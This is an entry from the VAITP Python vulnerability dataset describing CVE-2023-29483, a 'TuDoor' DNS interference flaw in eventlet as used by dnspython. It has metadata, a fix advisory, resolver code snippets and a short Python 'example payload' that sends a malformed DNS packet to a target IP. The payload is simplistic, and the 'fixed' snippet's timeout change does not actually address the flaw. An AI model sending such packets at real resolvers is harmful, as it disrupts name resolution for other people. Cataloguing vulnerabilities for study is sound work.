CVE-2023-29483

Eventlet in dnspython allows DNS interference via "TuDoor" attacks.

• CVSS 7.0
• CWE-292
• Input Validation and Sanitization
• Remote

eventlet before 0.35.2, as used in dnspython before 2.6.0, allows remote attackers to interfere with DNS name resolution by quickly sending an invalid packet from the expected IP address and source port, aka a "TuDoor" attack. In other words, dnspython does not have the preferred behavior in which the DNS name resolution algorithm would proceed, within the full time window, in order to wait for a valid packet. NOTE: dnspython 2.6.0 is unusable for a different reason that was addressed in 2.6.1.

CVE

CVE-2023-29483

CWE

CWE-292

CVSS base score

7.0

Published

2024-04-11

OWASP

A05 Security Misconfiguration

Orthogonal defect classification

Timing/Serialization

Code defect classification

Timing Issues

Category

Input Validation and Sanitization

Subcategory

Insecure Parsing or Deserialization

Accessibility scope

Remote

Impact

Denial of Service (DoS)

Affected component

dnspython

Fixed by upgrading

Yes

Solution

Upgrade to dnspython version 2.6.1 or later.

import dns.resolver

resolver = dns.resolver.Resolver()

try:
    answer = resolver.resolve('example.com', 'A')
    for rdata in answer:
        print(rdata.address)
except Exception as e:
    print(f"An error occurred: {e}")

import dns.resolver

resolver = dns.resolver.Resolver()
resolver.timeout = 5
resolver.lifetime = 5 

try:
    answer = resolver.resolve('example.com', 'A')
    for rdata in answer:
        print(rdata.address)
except Exception as e:
    print(f"An error occurred: {e}")

import socket

# Example payload to exploit the vulnerability
def send_invalid_dns_response(target_ip, target_port):
    # Crafting an invalid DNS response packet
    invalid_response = b'\x00\x01\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00'  # Example of a malformed DNS response
    with socket.socket(socket.AF_INET, socket.SOCK_DGRAM) as sock:
        sock.sendto(invalid_response, (target_ip, target_port))

# Usage
# send_invalid_dns_response('127.0.0.1', 53)  # Replace with target IP and port

@misc{vaitp:cve202329483,
  title        = {{Eventlet in dnspython allows DNS interference via "TuDoor" attacks.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2024},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2023-29483},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2023-29483/}}
}